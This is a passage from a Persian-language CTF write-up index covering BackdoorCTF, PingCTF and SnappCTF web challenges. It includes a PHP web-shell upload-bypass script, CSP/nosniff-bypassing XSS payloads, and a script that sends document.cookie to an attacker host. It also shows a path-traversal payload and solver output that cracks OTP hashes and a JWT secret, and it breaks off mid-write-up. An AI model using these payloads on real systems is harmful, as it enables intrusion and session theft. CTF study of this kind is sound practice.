\u062c\u0627\u0644\u0634 \u0647\u0645 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0628\u0639\u062f \u0627\u0632 \u0627\u062a\u0645\u0627\u0645 \u0632\u0645\u0627\u0646 \u0645\u0633\u0627\u0628\u0642\u0647, \u0686\u0644\u0646\u062c\u200c\u0647\u0627 \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u062f \u0634\u0631\u0648\u0639 \u0628\u0647 \u062d\u0644 \u06a9\u0631\u062f\u0646 \u0628\u06a9\u0646\u06cc\u062f. \u0633\u0639\u06cc \u06a9\u0646\u06cc\u062f \u0632\u0645\u0627\u0646 \u0628\u0630\u0627\u0631\u06cc\u062f \u0648 \u0646\u0627 \u0627\u0645\u06cc\u062f \u0646\u0634\u06cc\u062f, \u0627\u06af\u0631 \u0635\u062f\u062a\u0648\u0646 \u0631\u0648 \u06af\u0630\u0627\u0634\u062a\u06cc\u062f \u0648 \u0646\u062a\u0648\u0646\u0633\u062a\u06cc\u062f \u0686\u0644\u0646\u062c\u06cc \u0631\u0648 \u062d\u0644 \u06a9\u0646\u06cc\u062f, \u0633\u0631\u0686 \u06a9\u0646\u06cc\u062f \u0648 \u0631\u0627\u06cc\u062a\u0627\u067e\u0634 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u062f.

","tags":["\u0648\u0628","\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628"]},{"location":"web/writeups/BackdoorCTF/PHP-Sucks/","title":"PHP Sucks","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

import re\nimport requests\n\nfile = io.BytesIO()\nfile.write(bytes.fromhex(\"89 50 4E 47 0D 0A 1A 0A\"))\nfile.write(b'<?php echo system($_GET[\\'ss\\']); ?>')\nfor i in range(30, 40): # $ will work\n    file.seek(0)\n    name = 'ssss.php' + chr(i) + \".png\"\n    print(name)\n    try:\n        r = requests.post('http://34.132.132.69:8002/chal/upload.php', files=[('file', (name, file, 'image/jpeg'))], data={\"submit\": \"\", \"name\": \"SS\"}).content.decode()\n        url = \"http://34.132.132.69:8002/chal/\" + re.search(r'<a href=\\'(.*?)\\' target=', r).group(1)\n        print(i, requests.get(url).content)\n    except:\n        pass\n

\u06cc\u0647 \u06a9\u062f \u0628\u0627\u06cc\u067e\u0633 \u0622\u067e\u0644\u0648\u062f \u0633\u0627\u062f\u0647 \u06a9\u0647 \u0628\u0631 \u0627\u0633\u0627\u0633 magic byte \u0647\u0627\u06cc png \u062f\u0627\u0631\u0647 \u0628\u0627\u06cc\u067e\u0633 \u0645\u06cc\u06a9\u0646\u0647

\u0633\u0631 \u0627\u0633\u0645 \u0641\u0627\u06cc\u0644 \u0622\u067e\u0644\u0648\u062f \u0634\u062f\u0647 \u06cc\u06a9\u0645 \u0686\u0627\u0644\u0634 \u0628\u0631 \u0627\u0646\u06af\u06cc\u0632 \u0628\u0648\u062f \u06a9\u0647 \u0645\u0639\u0644\u0648\u0645 \u0634\u062f \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 $ \u0645\u06cc\u062a\u0648\u0646\u0647 \u0628\u0627\u0639\u062b \u0628\u0634\u0647 \u06a9\u0647 \u0641\u0627\u06cc\u0644 png \u0628\u0631\u0647 \u0633\u0645\u062a php handler \u0648 \u06a9\u062f \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0627\u062c\u0631\u0627 \u0628\u0634\u0647

\u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0628\u0647\u0645\u0648\u0646 \u0648\u062d\u06cc \u0646\u0634\u062f\u0647\u060c \u06a9\u062f \u0631\u0648 \u0628\u0635\u0648\u0631\u062a \u0641\u0627\u0632\u0631 \u0646\u0648\u0634\u062a\u0645 \u0648 \u067e\u06cc\u062f\u0627\u0634 \u06a9\u0631\u062f\u0645 =))

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BackdoorCTF","BackdoorCTF-2023","Web","PHP","Uploader_Bypass"]},{"location":"web/writeups/PingCTF/internet-explorer/","title":"Internet explorer","text":"

User-Agent: Mozilla/5.0 (Linux; Trident/7.0; rv:11.0) like Gecko

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Web"]},{"location":"web/writeups/PingCTF/path-traversal/","title":"Path traversal","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

User-Agent: robot got from source

Path: /\ud83e\udd16 got from robots.txt

payload 1: /robot/../flag/ss/..

payload 2,3 \ud83d\ude02 : /flag/ss/..

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Web"]},{"location":"web/writeups/PingCTF/youtube-trailer/","title":"Youtube trailer","text":"

check video tags

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["PingCTF","PingCTF-2023","Web"]},{"location":"web/writeups/SnappCTF/b64/","title":"b64","text":"Snapp cat

","tags":["SnappCTF","SnappCTF-2024","XSS","CSP","Web","X-Content-Type-Options","Content-Type"]},{"location":"web/writeups/SnappCTF/b64/#_1","title":"\u062a\u0648\u0636\u06cc\u062d \u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u06a9\u062f \u0633\u0631\u0648\u0631 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0648\u0646\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0646\u06cc\u0645:

#!/usr/bin/env node\nconst express = require('express')\n\nconst app = express()\n\napp.get('/',(req,res)=>{\n    let ct = (req.query.ct || 'ct').toString()\n    let buf = Buffer.from(((req.query.buf || btoa('?buf=base64str')).toString()),'base64')\n    if(!/^[a-z/]+$/.test(ct) || /htm|javascript/i.test(ct)){\n        return res.send('na')\n    }\n\n    if(/<[a-z]/i.test(buf)){\n        return res.send('na')\n    }   \n    res.setHeader('Content-Type',ct)\n    res.setHeader('X-Content-Type-Options','nosniff')\n    res.setHeader('Content-Security-Policy',`default-src 'self';`)\n    res.send(buf)\n})\n\napp.listen(8000)\n

\u0647\u0645\u0648\u0646 \u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u0633\u0631\u0648\u0631 \u0627\u0632 \u0645\u0627 \u062f\u0648\u062a\u0627 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 (ct, buf) \u0645\u06cc\u06af\u06cc\u0631\u0647 \u06a9\u0647 ct \u0647\u0645\u0648\u0646 content-type \u0647\u0633\u062a\u0634 \u0648 buf \u0645\u062d\u062a\u0648\u0627\u06cc\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0645\u0627 \u0628\u0631\u0645\u06cc\u06af\u0631\u062f\u0648\u0646\u0647

\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0645\u0627 \u062f\u06cc\u062a\u0627\u06cc\u06cc \u06a9\u0647 \u062f\u0627\u0631\u06cc\u0645 \u0631\u0648 \u0628\u0631\u06af\u0631\u062f\u0648\u0646\u0647 \u060c \u06cc\u06a9 \u0633\u0631\u06cc \u0648\u0644\u06cc\u062f\u06cc\u0634\u0646 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0645\u062b\u0644\u0627 \u0645\u0627 \u0646\u0645\u06cc\u062a\u0648\u0646\u0645 \u0627\u0632 content type (text/html, text/javascript) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0647\u0645\u06cc\u0646\u0637\u0648\u0631 \u062a\u0648\u06cc \u062f\u06cc\u062a\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 buf \u0628\u0647\u0634 \u0645\u06cc\u062f\u06cc\u0645 \u0647\u0645 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062a\u06af \u0647\u0627\u06cc html \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645

\u0648\u0644\u06cc \u0628\u0639\u062f \u0627\u0632 \u0686\u0646\u062f \u062a\u0633\u062a \u0648 \u0628\u0631\u0631\u0633\u06cc \u0647\u0627\u06cc content type \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0631\u0648\u0634 \u06a9\u062f \u062c\u0627\u0648\u0627\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u0645 \u0628\u0627 \u0627\u06cc\u0646 \u0647\u0627 \u0645\u0648\u0627\u062c\u0647 \u0634\u062f\u0645:

text/html\napplication/xhtml+xml\napplication/xml\ntext/xml\nimage/svg+xml\ntext/xsl\n

\u0648 \u062a\u0646\u0647\u0627 content type \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645: text/xml, text/xsl \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0645\u0646 \u0627\u0632 text/xml \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0645

\u0648\u0644\u06cc \u06cc\u0647 \u0645\u0634\u06a9\u0644\u06cc \u0628\u0648\u062f \u060c \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0627 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u062a\u06af\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u062d\u0631\u0641 \u0627\u0648\u0644\u0634 \u0628\u06cc\u0646 a-z | A-Z \u0628\u0627\u0634\u0647. \u0648\u0644\u06cc \u0628\u0639\u062f \u0627\u0632 \u0633\u0631\u0686 \u0632\u062f\u0646 \u062f\u0631\u0628\u0627\u0631\u0647 xml \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 _ (underline) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0627\u0633\u0645 \u062a\u06af

\u067e\u0633 payload \u0627\u0645 \u0634\u062f \u0627\u06cc\u0646:

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\">XSS</_:script>\n

\u0648\u0644\u06cc \u06cc\u0647 \u0645\u0634\u06a9\u0644\u06cc \u0628\u0648\u062f \u06a9\u0647 \u0627\u0635\u0644\u0627 \u062d\u0648\u0627\u0633\u0645 \u0628\u0647\u0634 \u0646\u0628\u0648\u062f \u0648 \u0627\u0648\u0646 \u0647\u0645 content-security-policy \u0628\u0648\u062f \u06a9\u0647 \u0646\u0645\u06cc\u0632\u0627\u0634\u062a \u0645\u0627 \u0627\u0632 unsafe-inline \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u062a\u0646\u0647\u0627 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0627\u06cc\u0646\u062c\u0627 \u0628\u06a9\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0628\u06cc\u0627\u06cc\u0645 \u06cc\u06a9 \u06a9\u062f \u062c\u0627\u0648\u0627\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0627\u0632 \u0647\u0645\u06cc\u0646 origin \u0644\u0648\u06cc\u062f \u06a9\u0646\u06cc\u0645

\u0648 \u062e\u0628 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0647\u0645 \u0645\u06cc\u0634\u062f \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0631\u06a9\u062a \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f:

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\" src=\"?buf=XSS\"></_:script>\n

\u0648\u0644\u06cc \u0628\u0627\u0632 \u0647\u0645 \u06cc\u06a9 \u0645\u0634\u06a9\u0644 \u0628\u0648\u062f \u06a9\u0647 \u0627\u0648\u0646 \u0647\u062f\u0631 X-Content-Type-Options \u0628\u0648\u062f. \u062a\u0648\u06cc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u06cc\u0646 \u0647\u062f\u0631 \u062a\u0648 \u0633\u0627\u06cc\u062a MDN \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u06af\u0647 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a\u06cc \u06a9\u0647 \u0645\u0627 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u060c content type \u0627\u0634 \u0628\u0627 \u0645\u062d\u062a\u0648\u0627\u06cc\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631\u0647 \u0644\u0648\u06cc\u062f \u0628\u0634\u0647 \u0641\u0631\u0642 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0647 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0628\u0644\u0627\u06a9 \u0645\u06cc\u0634\u0647

\u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644 \u0641\u0631\u0636 \u06a9\u0646\u06cc\u0646 \u0645\u0627 content-type \u0631\u0648 \u0628\u0632\u0627\u0631\u06cc\u0645 text/css \u0648\u0644\u06cc \u0645\u062d\u062a\u0648\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0631\u0648\u0631\u06af\u0631 \u0644\u0648\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647 \u062c\u0627\u0648\u0627\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u0627\u0634\u0647 \u060c \u06a9\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0634\u0631\u0627\u06cc\u0637 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0645\u0627 \u0628\u0644\u0627\u0641\u0627\u0635\u0644\u0647 \u0628\u0644\u0627\u06a9 \u0645\u06cc\u0634\u0647

\u062e\u0628 \u0645\u0627 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 text/javascript \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0686\u0648\u0646 \u06a9\u0647 \u0642\u0628\u0644\u0634 \u0686\u06a9 \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 javascript \u062a\u0648\u06cc ct \u0646\u0628\u0627\u0634\u0647 \u0648\u0644\u06cc \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 application/ecmascript \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0627\u06cc\u0646\u0637\u0648\u0631\u06cc \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 x-content-type-options \u0631\u0648 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645 \u0648 XSS \u0628\u06af\u06cc\u0631\u06cc\u0645

\u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u067e\u06cc\u0644\u0648\u062f \u0645\u0627 \u0645\u06cc\u0634\u0647:

<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\" src=\"?buf=XSS?ct=application/ecmascript\"></_:script>\n

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646

import requests\nimport base64\nimport sys\nimport html\n\nurl = 'https://b64.spchallenge.ir/'\n\nxss_pay = \"\"\"window.location='https://REDACTED?flag=' + document.cookie\"\"\"\npa = \"?buf=%s&ct=%s\" % (base64.b64encode(xss_pay.encode()).decode(), \"application/ecmascript\")\np = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<_:script xmlns:_=\"http://www.w3.org/1999/xhtml\" src=\"%s\"></_:script>\"\"\" % html.escape(pa)\n\n\nbuffer, ct = base64.b64encode(p.encode()).decode(), \"text/xml\"\nd = requests.get(url, params={'buf':buffer, 'ct': ct})\nprint(d.url)\n

\u0628\u0647 \u062c\u0627\u06cc REDACTED \u0627\u0632 \u0622\u062f\u0631\u0633 \u0633\u0631\u0648\u0631 \u062e\u0648\u062f\u062a\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646 \u0648 \u0628\u0639\u062f \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0628\u0627\u0644\u0627 \u0628\u0647\u062a\u0648\u0646 \u06cc\u0647 \u0622\u062f\u0631\u0633 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u0648\u0646 \u0631\u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0628\u062f\u06cc\u0646 \u0628\u0647 \u0628\u0627\u062a \u062a\u0627 \u0641\u0644\u06af \u0631\u0648 \u0628\u0631\u0627\u062a\u0648\u0646 \u0628\u0641\u0631\u0633\u062a\u0647

FLAG

SNAPP{9a952b93a0f0ad23304547c4de2025fb}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","XSS","CSP","Web","X-Content-Type-Options","Content-Type"]},{"location":"web/writeups/SnappCTF/snappcat/","title":"Snapp cat","text":"Snapp cat

","tags":["SnappCTF","SnappCTF-2024","Swagger","JWT","Web","sha256"]},{"location":"web/writeups/SnappCTF/snappcat/#_1","title":"\u0642\u062f\u0645 \u0647\u0627\u06cc \u062d\u0644 \u0686\u0627\u0644\u0634:","text":"
  1. \u062b\u0628\u062a \u0646\u0627\u0645 \u06cc\u06a9 \u06a9\u0627\u0631\u0628\u0631 \u0631\u0646\u062f\u0648\u0645
  2. \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u062f sha256 \u0628\u0631\u0627\u06cc \u0644\u0627\u06af\u06cc\u0646 \u06a9\u0631\u062f\u0646
  3. \u06a9\u0631\u06a9 \u06a9\u0631\u062f\u0646 \u06a9\u062f sha256 \u0628\u0631\u0627\u06cc \u0644\u0627\u06af\u06cc\u0646 \u0634\u062f\u0646
  4. \u062c\u0646\u0631\u06cc\u062a \u06a9\u0631\u062f\u0646 \u06a9\u062f \u0628\u0631\u0627\u06cc \u0648\u0631\u06cc\u0641\u0627\u06cc \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0645\u06cc\u0644
  5. \u06af\u0631\u0641\u062a\u0646 \u06a9\u062f \u0648\u0631\u06cc\u0641\u0627\u06cc \u0627\u06cc\u0645\u06cc\u0644 \u062f\u0631 \u06a9\u0648\u06a9\u06cc
  6. \u06af\u0631\u0641\u062a\u0646 \u0634\u0645\u0627\u0631\u0647 \u062a\u0644\u0641\u0646 \u0627\u062f\u0645\u06cc\u0646
  7. \u0641\u0631\u0627\u06cc\u062f \u0644\u0627\u06af\u06cc\u0646 \u0628\u0647 \u0648\u0633\u06cc\u0644\u0647 \u0634\u0645\u0627\u0631\u0647 \u062a\u0644\u0641\u0646 \u0627\u062f\u0645\u06cc\u0646
  8. \u0633\u0627\u062e\u062a\u0646 \u06cc\u0647 \u06af\u0631\u0628\u0647!
  9. \u062e\u0648\u0646\u062f\u0646 \u06a9\u062f js \u0633\u0631\u0648\u0631
  10. \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u062f \u0633\u06a9\u0631\u062a json-web-token \u0648 \u0633\u062a \u06a9\u0631\u062f\u0646 \u06a9\u0648\u06a9\u06cc \u0628\u0631\u0627\u06cc \u06af\u0631\u0641\u062a\u0646 \u0641\u0644\u06af

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u0646 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0622\u0645\u0627\u062f\u0647 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0632 \u0631\u0648\u06cc \u0627\u0648\u0646 \u0633\u0648\u0627\u0644 \u0631\u0648 \u062d\u0644 \u06a9\u0646\u06cc\u0646 \u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0646 \u06a9\u0647 \u0686\u0647 \u0627\u062a\u0641\u0627\u0642\u06cc \u0645\u06cc\u0648\u0641\u062a\u0647

\u0628\u0639\u062f \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f \u0641\u0627\u06cc\u0644 \u067e\u0627\u06cc\u062a\u0648\u0646:

$ python3 snappcat.py\n[+] registering with 2af8ba4edba03309: \n[+] response:  {'success': True}\n[+] logging in with 2af8ba4edba03309\n[+] resposne:  {'success': True}\n[+] login with phone: +987714270933\n[+] response: 200\n[+] crack the code for sha256:04dc6d4a58836dce23191b5025d392f911a58c61452c580f79c9ec53f86b1ee6\n[+] code cracked: 3189328\n[+] send code\n[+] login-with-phone-callback response:  {'sucess': True}\n[+] send verification email\n[+] response: 200\n[+] verify account\n[+] response: 200\n[+] login with phone: +133731333717\n[+] response: 200\n[+] crack the code for sha256:98fbf94b5485944c2325c846ec6234b6b7008c62dd2d17728b77ebef038ab5bd\n[+] code cracked: 7494977\n[+] send code\n[+] login-with-phone-callback response:  {'sucess': True}\n[+] whoami?:  {'data': {'userId': 1}, 'success': True}\n[+] create cat\n[+] cat created with id: 62fd96ac-d0fe-4632-b7be-d2e873471acc\n[+] display and get created cat\n----------------------------------------------------------------------------------------------------\nJWT SECRET: omidvaram-to-ke-ino-mibini-developer-website-bashi-fd29293cdeaf70dc67b420e73a37e172\n----------------------------------------------------------------------------------------------------\n[+] update jwt session\n[+] reading flag xd\nFLAG: SNAPP{7dc998269394314896af6378f15c2c12}\n
FLAG

SNAPP{7dc998269394314896af6378f15c2c12}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","Swagger","JWT","Web","sha256"]},{"location":"web/writeups/SnappCTF/snappfal/","title":"Snapp fal","text":"Snapp fal!

\u0647\u0645\u06cc\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u06cc\u0647 \u0686\u0627\u0644\u0634 XSS \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0633\u0639\u06cc \u06a9\u0646\u06cc\u0645 \u06a9\u0648\u06a9\u06cc \u0647\u0627\u06cc \u0627\u062f\u0645\u06cc\u0646 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u0645 \u0648 \u0628\u0631\u0627\u06cc \u062e\u0648\u062f\u0645\u0648\u0646 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645

\u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0622\u062f\u0631\u0633 \u0648\u0628\u0633\u0627\u06cc\u062a \u0645\u0627 \u0628\u0627 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0631\u0648\u0628\u0631\u0648 \u0645\u06cc\u0634\u06cc\u0645

\u0627\u06af\u0647 \u0631\u0648\u06cc \u062f\u06a9\u0645\u0647 \u0646\u0634\u0648\u0646 \u0628\u062f\u0647 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u0646 \u0648\u0627\u0631\u062f \u06cc\u0647 \u0635\u0641\u062d\u0647 \u0645\u06cc\u0634\u06cc\u0646 \u06a9\u0647 \u0622\u062f\u0631\u0633\u0634 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0647\u0633\u062a\u0634:

\u200d\u200dhttps://snappfal.spchallenge.ir/fal?back=/&fal=some-random-text-here

\u06a9\u0647 \u062a\u0648\u06cc \u0627\u0648\u0646 \u0635\u0641\u062d\u0647 \u0628\u0647\u062a\u0648\u0646 \u0645\u062a\u0646 \u0641\u0627\u0644 \u0631\u0648 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u06a9\u0647 (\u0647\u0645\u0648\u0646 \u0686\u06cc\u0632\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u062a\u0648\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631 fal \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647) \u0648 \u0628\u0639\u062f \u0627\u0632 \u0686\u0646\u062f \u062b\u0627\u0646\u06cc\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633\u06cc \u06a9\u0647 \u062a\u0648\u06cc \u067e\u0627\u0631\u0627\u0645\u062a\u0631 back \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u0634\u06cc\u0645

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u0633\u0648\u0631\u0633 \u0686\u0627\u0644\u0634 \u0631\u0648 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0648\u0646 \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0646\u06cc\u0646 \u0648 \u0627\u06af\u0647 \u0628\u0647 \u0641\u0627\u06cc\u0644 src.js \u062f\u0642\u062a \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u0641\u0627\u0644 \u0647\u0627\u0631\u0648 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u0648 \u0686\u0637\u0648\u0631\u06cc \u0645\u0627\u0631\u0648 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0646\u0647

#!/usr/bin/env node\nconst express = require('express')\nconst fs = require('fs')\n\nconst app = express()\nconst indexPage = fs.readFileSync('./pages/index.html').toString()\nconst falPage = fs.readFileSync('./pages/fal.html').toString()\nconst randomFals = [\n    '%D8%AC%D9%84%D8%B3%D9%87%20%D8%A8%D8%B9%D8%AF%DB%8C%20%DA%A9%D9%84%D8%A7%D8%B3%D8%AA%20%DA%A9%D9%86%D8%B3%D9%84%20%D9%85%DB%8C%D8%B4%D9%87',\n    '%D9%81%D8%B1%D8%AF%D8%A7%20%D8%AA%D9%88%20%DB%8C%DA%A9%20%D8%AA%D8%B1%D8%A7%D9%81%DB%8C%DA%A9%20%D8%B3%D9%86%DA%AF%DB%8C%D9%86%20%DA%AF%DB%8C%D8%B1%20%D9%85%DB%8C%DA%A9%D9%86%DB%8C',\n    '%D8%AD%D9%82%D9%88%D9%82%D8%AA%20%D8%B3%D8%A7%D9%84%20%D8%AF%DB%8C%DA%AF%D9%87%20%D8%B3%D9%87%20%D8%A8%D8%B1%D8%A7%D8%A8%D8%B1%20%D9%85%DB%8C%D8%B4%D9%87'\n]\n\napp.get('/',(req,res)=>{\n    res.send(indexPage)\n})\n\napp.get('/random-fal',(req,res)=>{\n    res.redirect('/fal?back=/&fal='+randomFals[Math.floor(Math.random()*randomFals.length)],)\n})\n\napp.get('/fal',(req,res)=>{\n    let to = (req.query.back ?? '/').toString()\n    let fal = (req.query.fal || '').toString()\n\n    to = to.replaceAll('\"','\\\\x22').replaceAll('<','\\\\x3c')\n    fal = fal.replaceAll('\"','&quot;').replaceAll('<','&lt;')\n\n    res.send(fs.readFileSync('./pages/fal.html').toString().replace('$fal$',fal).replace('$URL$',to))\n})\n\napp.listen(8000, () => {\n    console.log('Server listening on port 3000')\n})\n

\u062a\u0648\u06cc \u0645\u0633\u06cc\u0631 /random-fal \u06cc\u06a9 \u0641\u0627\u0644 \u0631\u0646\u062f\u0648\u0645 \u0627\u0632 \u0622\u0631\u0627\u06cc\u0647 randomFals \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0647 \u0645\u0633\u06cc\u0631 /fal \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u0634\u06cc\u0645

